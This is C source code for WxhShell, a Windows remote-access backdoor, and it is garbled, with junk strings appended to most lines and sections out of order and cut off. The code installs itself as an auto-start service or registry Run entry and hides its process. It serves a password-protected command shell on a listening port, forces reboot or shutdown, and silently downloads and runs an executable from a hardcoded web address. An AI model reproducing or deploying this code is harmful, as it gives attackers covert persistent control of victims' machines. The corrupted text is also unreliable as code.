    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aGp <%d  
    if(Boot(SHUTDOWN)) Hk2@X(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LYh5f#  
    else { P;KbS~ SlC  
    closesocket(wsh); [OG-ZcNu?  
    ExitThread(0); aVuan&]*=  
    } Cd#*Wp)s  
    break; f&`v-kiAn=  
    } )Tngtt D  
  // 获取shell  9 N=KU  
  case 's': { [gzU / :  
    CmdShell(wsh); P?n!fA>!  
    closesocket(wsh); KGi@H%NN  
    ExitThread(0); eJ{"\c(  
    break; \, n'D  
  } (#c5Q&  
  // 退出 _'n;rZ+  
  case 'x': { !QVd'e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R ;5w*e}?5  
    CloseIt(wsh); hv*n";V   
    break; oZ6xHdPc4  
    } \Qk:\aLR  
  // 离开 WbH/K]/1)h  
  case 'q': { !::k\}DS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pY=?r{@  
    closesocket(wsh); 7u5B/M!  
    WSACleanup(); 9][Mw[k>  
    exit(1); c}Z,xop<P{  
    break; rA*,)I_v@  
        } &[cL%pP  
  } w])~m1yW  
  } >4M_jC.  
N _pJE?  
  // 提示信息 q(.%f3(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `H/HLCt  
} Cy6[p  
  } 6El%T]^  
m_rRe\  
  return; .e.vh:Sz  
} ~ezCE4^&  
-<z'f){gb  
// shell模块句柄 " "a+Nc  
int CmdShell(SOCKET sock) |w~zh6~  
{ rLL;NTN+/  
STARTUPINFO si; ]v_xEH}T  
ZeroMemory(&si,sizeof(si)); MW*}+ PCY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iXl1S[.l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DA@ { d-A  
PROCESS_INFORMATION ProcessInfo; 1b|<   
char cmdline[]="cmd"; #s yP=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '2[ _U&e  
  return 0; vy|}\%*r~  
} *y(2BrL>  
T82=R@7  
// 自身启动模式 SmR*b2U  
int StartFromService(void) vMRKs#&8  
{ 2DV{gF  
typedef struct 3'/wRKl  
{ ) ]~HjA;  
  DWORD ExitStatus; %< j=&  
  DWORD PebBaseAddress; kI[EG<N1k  
  DWORD AffinityMask; v?LJ_>hw*T  
  DWORD BasePriority; =?*V3e3{  
  ULONG UniqueProcessId; 3J,/bgL5  
  ULONG InheritedFromUniqueProcessId; *c3 o&-ke9  
}   PROCESS_BASIC_INFORMATION; 9oq(5BG,  
cQ+, F2  
PROCNTQSIP NtQueryInformationProcess; :He:Bdk  
sL/Lw WH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yp*kMC,3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?,%N?  
HYg _{  
  HANDLE             hProcess; xD1wHp!+  
  PROCESS_BASIC_INFORMATION pbi; Y(A?ib~K  
|g;XC^!%=o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sJM}p5V  
  if(NULL == hInst ) return 0; IBF>4q m"  
i-ogeR?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); czZ-C +}%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hcf>J6ZLT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *n[Fl  
[6|8Gx :  
  if (!NtQueryInformationProcess) return 0; P2s0H+<  
IS=)J( 0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QM_~w \  
  if(!hProcess) return 0; H+ M ~|Ju7  
Ppp&3h[dW)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &Y#9~$V=  
w^p2XlQ<  
  CloseHandle(hProcess); }Ql;%7  
Ahwu'mgnC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Tf[ ]vqa`G  
if(hProcess==NULL) return 0; A6U6SvM;  
5rcno.~QO  
HMODULE hMod; 92tb`'  
char procName[255]; %vThbP#mR|  
unsigned long cbNeeded; _9gn;F  
 C3<3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B"B  
<kM%z{p  
  CloseHandle(hProcess); .-34 g5  
d[Fsp7U}  
if(strstr(procName,"services")) return 1; // 以服务启动 'V>+G>U  
d z\b]H]  
  return 0; // 注册表启动 Wex4>J<`/  
} {Y/  
02+^rqIx5  
// 主模块 LaIif_fie^  
int StartWxhshell(LPSTR lpCmdLine) ){(cRB$  
{ SMy&K[hJ[  
  SOCKET wsl; LpiLk| 2i  
BOOL val=TRUE; d)AkA\neWo  
  int port=0; a* D|$<V  
  struct sockaddr_in door; \C6m.%%={R  
EPg?jKZava  
  if(wscfg.ws_autoins) Install(); e,4G:V'NX  
u4nXK <KL|  
port=atoi(lpCmdLine); xAO ]u[J  
wvYxL c#p0  
if(port<=0) port=wscfg.ws_port; Bl1I "B  
W>Kwl*Cis"  
  WSADATA data; VuR BJ2D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x$p\ocA  
J+4uUf/d!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ejQCMG7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wb?hfe  
  door.sin_family = AF_INET; H9Z3.F(2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E:tUbWVp  
  door.sin_port = htons(port); ^49moC-  
8]L.E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lr~K3nb  
closesocket(wsl); ?t"PawBWE  
return 1; ditzl(L   
} V:+bq`  
0CR;t`M@  
  if(listen(wsl,2) == INVALID_SOCKET) { hh{liS% 10  
closesocket(wsl); d"cfSH;h  
return 1; WT)")0)[  
} >fdN`W }M  
  Wxhshell(wsl); K_xOY *  
  WSACleanup(); Ij8tBT?jlL  
7lpVK]  
return 0; i@6 /#  
.G]# _U  
} gdT_kb5HL8  
{3R ax5Ty  
// 以NT服务方式启动 ^/uGcz|.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Rb0{t[IU  
{ tvUvd(8 w  
DWORD   status = 0; }X?*o `sW  
  DWORD   specificError = 0xfffffff; WWL Vy(  
*l^'v9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d7P @_jO6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pSP_cYa#(#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KWUz]>Z  
  serviceStatus.dwWin32ExitCode     = 0; )X/Faje  
  serviceStatus.dwServiceSpecificExitCode = 0; *X #e  
  serviceStatus.dwCheckPoint       = 0; ^m=%Ctu#  
  serviceStatus.dwWaitHint       = 0; P(;c`   
#Q"vwek  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gpu?z- )  
  if (hServiceStatusHandle==0) return; 6b|`[t  
E~P 0}'  
status = GetLastError(); gK(4<PO'  
  if (status!=NO_ERROR) !O-+ h0Z  
{ @FV;5M:I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x(`$D  
    serviceStatus.dwCheckPoint       = 0; rZv+K/6*M  
    serviceStatus.dwWaitHint       = 0; yDC97#%3u  
    serviceStatus.dwWin32ExitCode     = status; Uk9g^\H<D  
    serviceStatus.dwServiceSpecificExitCode = specificError; GP$ Y4*y/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B,>FhX>h  
    return; -Tx tX8v  
  } Mvv=)?:  
u^9c`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w!RH*S  
  serviceStatus.dwCheckPoint       = 0; ^IH1@  
  serviceStatus.dwWaitHint       = 0; qrc/Q;$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VZoOdR:d  
} }v,THj  
bEKLameKv  
// 处理NT服务事件,比如:启动、停止 ^j %UZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nS4S[|w"  
{ AF$o >f  
switch(fdwControl) 02[II_< 1  
{ R!,)?j;  
case SERVICE_CONTROL_STOP: gxM8IQ  
  serviceStatus.dwWin32ExitCode = 0; "~<~b2Y"5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O:)IRB3  
  serviceStatus.dwCheckPoint   = 0; ~S6{VK.  
  serviceStatus.dwWaitHint     = 0; njMy&$6a##  
  { ~P_kr'o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Qr8wa>Z  
  } ;l()3;  
  return; LDeVNVM  
case SERVICE_CONTROL_PAUSE: GJs[m~`8#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c!Vc_@V,  
  break; 29^bMau)v  
case SERVICE_CONTROL_CONTINUE: 3L?a4,Q"k}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GuWBl$|+b  
  break; fm>K4\2  
case SERVICE_CONTROL_INTERROGATE: ]F;]<_  
  break; 2hJ3m+N^  
}; AFTed?(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pfx71*u,  
} _kN%6~+U  
)c/y07er  
// 标准应用程序主函数 )`mF.87b&h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dY<#a,eS  
{ ; ZV^e  
5R`6zhf  
// 获取操作系统版本 `YNC_r#tG  
OsIsNt=GetOsVer(); %E"/]!}3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IGT_ 5te  
:QV6 z*#zD  
  // 从命令行安装 uk  f\*  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]a#]3(o]}  
FM"BTA:C  
  // 下载执行文件 ~#_$?_/(  
if(wscfg.ws_downexe) { lMez!qx,=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N>%KV8>{L  
  WinExec(wscfg.ws_filenam,SW_HIDE); T1HiHvJ  
} Xl6ZV,1=n7  
0DIM]PS  
if(!OsIsNt) { kZ-~ ;fBe  
// 如果时win9x,隐藏进程并且设置为注册表启动 ws>Iyw.u  
HideProc(); }#>d2 =T$  
StartWxhshell(lpCmdLine); n "KJB  
} :TYzzl43  
else 8;\tP29  
  if(StartFromService())  jnzz~:  
  // 以服务方式启动 KH>sCEt  
  StartServiceCtrlDispatcher(DispatchTable); f^sb0nU  
else n UCk0:{  
  // 普通方式启动 YCBML!L  
  StartWxhshell(lpCmdLine); rqe_zyc&  
6XL9 qb~X  
return 0; >ha Ixs`9  
} zMzf=~  
b%f2"e0g  
":#x\;  
w^E]N  
=========================================== GdeR#%z  
4*XP;`  
A|_%'8  
[I<'E LX  
MQH8Q$5D  
O\F^@;] F6  
" 0*IY%=i  
:'rZZeb'  
#include <stdio.h> bA^: p3  
#include <string.h> *5'6 E'  
#include <windows.h> \BcJDdL  
#include <winsock2.h> ]AA*f_!  
#include <winsvc.h> r]EZ)qp^@  
#include <urlmon.h> X:-bAu}D  
PSqtZN  
#pragma comment (lib, "Ws2_32.lib")  ~uZLe\>K  
#pragma comment (lib, "urlmon.lib") VfC[U)w*vm  
ySK Yqt z  
#define MAX_USER   100 // 最大客户端连接数 pF*~)e  
#define BUF_SOCK   200 // sock buffer Oj lB 0  
#define KEY_BUFF   255 // 输入 buffer K^& ]xFW  
.'{6u;8  
#define REBOOT     0   // 重启 ID).*@(I"  
#define SHUTDOWN   1   // 关机 _ KhEwd  
]#-/i2-K  
#define DEF_PORT   5000 // 监听端口 i 2} =/  
5A]LNA4i  
#define REG_LEN     16   // 注册表键长度 `MYKXBM  
#define SVC_LEN     80   // NT服务名长度 `Y({#U  
9c5G6n0  
// 从dll定义API 9EA !j}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8j+:s\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ [^) WQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0CVsDVA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \%?8jQ'tX  
t"bPKFRy9E  
// wxhshell配置信息 b}*@=X=4o  
struct WSCFG { ))69a  
  int ws_port;         // 监听端口 ])ALAAIc-  
  char ws_passstr[REG_LEN]; // 口令 GE8D3V;*V  
  int ws_autoins;       // 安装标记, 1=yes 0=no vb.Y8[  
  char ws_regname[REG_LEN]; // 注册表键名 CbH T #  
  char ws_svcname[REG_LEN]; // 服务名 $h]Y<&('G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uZ`d&CEh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xBE RCO^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UFIAgNKl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D7_Hu'y<o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Rw ao5l=x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >&Ui*  
-}qGb}F8!  
}; bR8 HGH28  
z2nUul(2  
// default Wxhshell configuration ;'Vipj   
struct WSCFG wscfg={DEF_PORT, CMxjX  
    "xuhuanlingzhe", qfP"UAc{/  
    1, seqF84Xd<  
    "Wxhshell", 7k#${,k  
    "Wxhshell", mA] 84zO  
            "WxhShell Service", ^I0GZG  
    "Wrsky Windows CmdShell Service", gC_s\WU  
    "Please Input Your Password: ", 6(q`Oj  
  1, o|^?IQ7bpf  
  "http://www.wrsky.com/wxhshell.exe", Xm^h5jAr  
  "Wxhshell.exe" _Dcc<-.  
    }; sg6w7fp>  
oA3W {  
// 消息定义模块 k"^t?\Q%vI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .M53, 8X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &b@!DAwAJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qp~4KukL  
char *msg_ws_ext="\n\rExit."; Sv ~1XL W  
char *msg_ws_end="\n\rQuit."; 2c>H(t h=  
char *msg_ws_boot="\n\rReboot..."; X v7U<q  
char *msg_ws_poff="\n\rShutdown..."; Puth8$  
char *msg_ws_down="\n\rSave to "; gcW{]0%L^  
.t^UK#@#4  
char *msg_ws_err="\n\rErr!"; L4/TI(MP  
char *msg_ws_ok="\n\rOK!"; F3Ak'h{Ay  
*/5<L99v  
char ExeFile[MAX_PATH]; C@UJOB  
int nUser = 0; S `m- 5  
HANDLE handles[MAX_USER]; JX\T {\m#  
int OsIsNt;  10l1a4  
QC\g%MVG  
SERVICE_STATUS       serviceStatus; rPo\Dz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {7Gx9(  
l`M5'r]l  
// 函数声明 d[>N6?JA/  
int Install(void); +zVcOS*-  
int Uninstall(void); 2NA rE@  
int DownloadFile(char *sURL, SOCKET wsh); :9x084ESR)  
int Boot(int flag); `3sy>GU?  
void HideProc(void); [nN\{"~O  
int GetOsVer(void); \Sq"3_m4T  
int Wxhshell(SOCKET wsl); r_V2 J{B  
void TalkWithClient(void *cs); ~g K-5}%!  
int CmdShell(SOCKET sock); 7k`*u) Q  
int StartFromService(void); u .pKK  
int StartWxhshell(LPSTR lpCmdLine); p'%: M  
SP D207  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9HJ'p:{)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &8X .!r`f  
n$OE~YwP{  
// 数据结构和表定义 hk5E=t~&  
SERVICE_TABLE_ENTRY DispatchTable[] = O'!r]0Q  
{ "3Xv%U9@  
{wscfg.ws_svcname, NTServiceMain}, S-M)MCL  
{NULL, NULL} !}L~@[v,uL  
}; i>]<*w  
68J 9T^84  
// 自我安装 /XW&q)z-Hl  
int Install(void) 8=n9hLhqo  
{ lZS_n9Sc  
  char svExeFile[MAX_PATH]; +C'TW^  
  HKEY key; >TlW]st  
  strcpy(svExeFile,ExeFile); bQ^DX `o6P  
 zU4V^N'  
// 如果是win9x系统,修改注册表设为自启动 Mg a@JA"  
if(!OsIsNt) { C`yvBt40r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { } :RT,<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4[LLnF--  
  RegCloseKey(key); ElEv(>G*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]M+VSU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z92iil;t  
  RegCloseKey(key); Bg 7j5  
  return 0; QX/X {h6  
    } S/nj5Lh  
  } ;LQ# *NjL\  
} l\T!)Ql  
else { I+Ncmg )>  
&*G5J7%w  
// 如果是NT以上系统,安装为系统服务 J8u{K.( *7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B.}_],  
if (schSCManager!=0) bVa+kYE  
{ c%AFo]H  
  SC_HANDLE schService = CreateService t g KG&  
  ( !cEbz b  
  schSCManager, L(WL,xnBy  
  wscfg.ws_svcname, (xZr ]v ]U  
  wscfg.ws_svcdisp, Ge^zX$.'  
  SERVICE_ALL_ACCESS, 0kNe?Xi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =9qGEkd3  
  SERVICE_AUTO_START, lC'{QUC  
  SERVICE_ERROR_NORMAL, QQg8+{>  
  svExeFile, *PSvHXNi  
  NULL, V-KL%  
  NULL, bH\'uaJ  
  NULL, vU_d=T%$  
  NULL, (~j,mk  
  NULL fB f 4]^  
  ); w24{_ N  
  if (schService!=0) X(Y#9N"  
  { P"(z jG9-  
  CloseServiceHandle(schService); heE}_,$|  
  CloseServiceHandle(schSCManager); ia%z+:G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8)^B32  
  strcat(svExeFile,wscfg.ws_svcname); F_A%8)N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h4hN1<ky\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gk!E$NyE  
  RegCloseKey(key); Jv_.itc  
  return 0; C5O5S:|'  
    } w5F4"nl#O}  
  } ./'~];&  
  CloseServiceHandle(schSCManager); FAQr~G}  
} sU) TXL'_!  
} CS/Mpmsp  
,O:EX0  
return 1; :a_BD  
} % v;e  
w)+wj[6 E  
// 自我卸载 A6Ghj{~  
int Uninstall(void) ?PBa'g  
{ QGs1zfh*  
  HKEY key; uh]"(h(>  
z$JX'(<Z7  
if(!OsIsNt) { S~KS9E~\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a q3~!T;W  
  RegDeleteValue(key,wscfg.ws_regname); yXJ]U \ %  
  RegCloseKey(key); J|V K P7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X}ZlWJ  
  RegDeleteValue(key,wscfg.ws_regname); ;B&^yj&;  
  RegCloseKey(key); BjJ,"sT  
  return 0; I Byf_E;r  
  } _f cS>/<a  
} "j{i,&Y$_  
} nz4<pvC,*  
else { *IC^IC:  
>[ eW">:>K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ')B =|T)  
if (schSCManager!=0) >T<6fpXuk2  
{ \|CPR6I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 10p8|9rE}B  
  if (schService!=0) y n SBVb!)  
  { ` ^DjEdUN  
  if(DeleteService(schService)!=0) { rwiw Rh  
  CloseServiceHandle(schService); `E@kFJ(<On  
  CloseServiceHandle(schSCManager); =M7TCE  
  return 0; QE|`&~sme  
  } S_J,[#&  
  CloseServiceHandle(schService); aF!Ex  
  } b"I~_CL|  
  CloseServiceHandle(schSCManager); m#tpbFAsc  
} >lrhHU  
} 8z Y)J#  
3KSpB;HX  
return 1; R (G2qi  
} +a%xyD:.?  
5iVQc-m&  
// 从指定url下载文件 $9 K(F~/  
int DownloadFile(char *sURL, SOCKET wsh) ; e@gO  
{ ipobr7G.SD  
  HRESULT hr; i3#'*7f%j  
char seps[]= "/"; 8".2)W4*  
char *token; LheFQ A  
char *file; $.pTB(tO  
char myURL[MAX_PATH]; ?WQNIX4  
char myFILE[MAX_PATH]; $B\ H  
I,b9t\(6  
strcpy(myURL,sURL); ?v:ZU~i  
  token=strtok(myURL,seps); IV'p~t  
  while(token!=NULL) H$!+A  
  { Z7fg 25  
    file=token; qj&b o  
  token=strtok(NULL,seps); owvS/"@  
  } fAGctRGH  
`H\)e%]  
GetCurrentDirectory(MAX_PATH,myFILE); 69-:]7.g  
strcat(myFILE, "\\"); u:@U $:sZ  
strcat(myFILE, file); Y25^]ON*\^  
  send(wsh,myFILE,strlen(myFILE),0); ^T:gb]i'Qa  
send(wsh,"...",3,0); ?]c+j1 i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DECB*9O ^  
  if(hr==S_OK) xACdZB(  
return 0; 8$0\J_  
else 4:7mK/Z  
return 1; {^#2=`:)O  
?c]n^GvG  
} Q $~n/  
[:iv4>ZZ  
// 系统电源模块 aBhV3Fd[B  
int Boot(int flag) =7%o E[  
{ V|'1tB=;*1  
  HANDLE hToken; w&Y{1rF>  
  TOKEN_PRIVILEGES tkp; .6 3=(o  
3uV4/% U  
  if(OsIsNt) { w7FoL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oKA&An  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^rL_C}YBj-  
    tkp.PrivilegeCount = 1; 5+- I5HX|~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YuQ~AE'i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D'b#,a;V  
if(flag==REBOOT) { Kc #|Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (CJ.BHu]  
  return 0; N2ied^* 0  
} MV0Lq:# N  
else { +pf5\#l?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7AwgJb hn  
  return 0; x({H{'9?  
} 9M a0^_  
  }  rkB'Hf  
  else { oFDz;6  
if(flag==REBOOT) { gd7^3q[$h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tnz+bX26  
  return 0; Ub_4yN;  
} yHeEobvb  
else { 4nqoZk^R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c>HK9z{  
  return 0; \, &9  
} @?kM'*mrZM  
} $g10vF3  
Pm+tQ  
return 1; kM/Te{<  
} EpYy3^5d  
UG;Y^?Ppe5  
// win9x进程隐藏模块 [q*%U4qGO  
void HideProc(void) JWv{=_2w  
{ J~#$J&iKh  
R"AUSO|{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 52d^K0STC  
  if ( hKernel != NULL ) C [uOReo  
  { kW@,$_cK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~rD={&0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8X$LC  
    FreeLibrary(hKernel); k |YWOy@D~  
  } nV*y`.+  
9Q;c ,]  
return; .]x2K-Sf  
}  k5`OH8G  
j(rL  
// 获取操作系统版本 ;eL9{eF  
int GetOsVer(void) yX!HZu;j  
{ C&~1M}I  
  OSVERSIONINFO winfo; jS.g]k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  \ %=9  
  GetVersionEx(&winfo); F {+`uG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r?/A?DMe  
  return 1; TUIk$U?/I  
  else 1f'Hif*r_X  
  return 0; @n&<B`/  
} I$t3qd{H&  
_>m-AI4^  
// 客户端句柄模块 44ed79ly0)  
int Wxhshell(SOCKET wsl) q.#[TI ^  
{ ccFn.($p?,  
  SOCKET wsh; .w?(NZ2~  
  struct sockaddr_in client; D*PYr{z'  
  DWORD myID; O81X ;JdP3  
errH>D~  
  while(nUser<MAX_USER) & fC!(Oy  
{ ao" %WX  
  int nSize=sizeof(client); Sh6JF574T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LQYy;<K  
  if(wsh==INVALID_SOCKET) return 1; A3N]8?D  
P>ceeoYQuA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H*^\h?s  
if(handles[nUser]==0) H( jXI  
  closesocket(wsh); :O<bA& :d  
else x%+{VStA  
  nUser++; d[ >`")2)  
  } g*UMG>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;< jbLhHwD  
Yap?^&GV  
  return 0; G!N{NCq  
} l_'[27  
N==ZtKj F  
// 关闭 socket /cr}N%HZB  
void CloseIt(SOCKET wsh) Ys+OB*8AE  
{ H5CR'Rp  
closesocket(wsh); Kv'n:z7Md  
nUser--; J5p"7bc  
ExitThread(0); 3.d"rl  
} Y9=K]GB  
)4>2IQ  
// 客户端请求句柄 7uorQfR?  
void TalkWithClient(void *cs) cJo\#cr  
{ %@a8P  
K;hh&sTB  
  SOCKET wsh=(SOCKET)cs; 1=sXdcy;  
  char pwd[SVC_LEN]; Q5{Pv}Jx  
  char cmd[KEY_BUFF]; }?F`t[+  
char chr[1]; $ ,SF@BhO  
int i,j; {GDmVWG0q  
~\)qi=  
  while (nUser < MAX_USER) { le+R16Z  
0P^L}VVX  
if(wscfg.ws_passstr) { u]NZ`t%AP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =*qD4qYA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &6 s) X  
  //ZeroMemory(pwd,KEY_BUFF); `@d<n  
      i=0; -oeL{9;  
  while(i<SVC_LEN) { uwf 5!Z:>  
Hs?e0Z=N  
  // 设置超时 E!BPE>  
  fd_set FdRead; 7]xm2CHx5  
  struct timeval TimeOut; ]M/9#mD9~  
  FD_ZERO(&FdRead); RIu~ @  
  FD_SET(wsh,&FdRead); hz;|NW{u  
  TimeOut.tv_sec=8; Z/x*Y#0@n  
  TimeOut.tv_usec=0; f<=Fsl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D(p\0V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jd\apBIf  
9)xUA;Qw?z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )VL96did  
  pwd=chr[0]; !Fo*e  
  if(chr[0]==0xd || chr[0]==0xa) { M.-"U+#aD  
  pwd=0; <IW#ME  
  break; Djk C  
  } Uz cx6sw  
  i++; 2%*MW"Q  
    } |@,|F:h<M  
NK|?y  
  // 如果是非法用户,关闭 socket /525w^'pd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f/WQ[\<!I  
} iGB_{F~t4}  
T=hho Gn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v_e9}yI   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J"=1/,AS  
[7(-T?_  
while(1) { kGpa\c g1  
-jgysBw+Xb  
  ZeroMemory(cmd,KEY_BUFF); 43?^7_l-  
u2oKH{/z  
      // 自动支持客户端 telnet标准   ikWtC]y  
  j=0; :m86 hBE.  
  while(j<KEY_BUFF) { D=:04V}2+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !D!~ ^\  
  cmd[j]=chr[0]; hA\K</h.  
  if(chr[0]==0xa || chr[0]==0xd) { [."[pY  
  cmd[j]=0; `V)Z)uN{0  
  break; pa}*E  
  } Y(cN}44  
  j++; +&zYZA8v  
    } 6v,z@!b  
 ^p n(=4  
  // 下载文件 tiN?/  
  if(strstr(cmd,"http://")) { b:qY gg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^[%%r3"$C  
  if(DownloadFile(cmd,wsh)) V8eB$in  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S'oGt&Z<  
  else Z/rP"|EuQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1B),A~Ip  
  } %uv?we7  
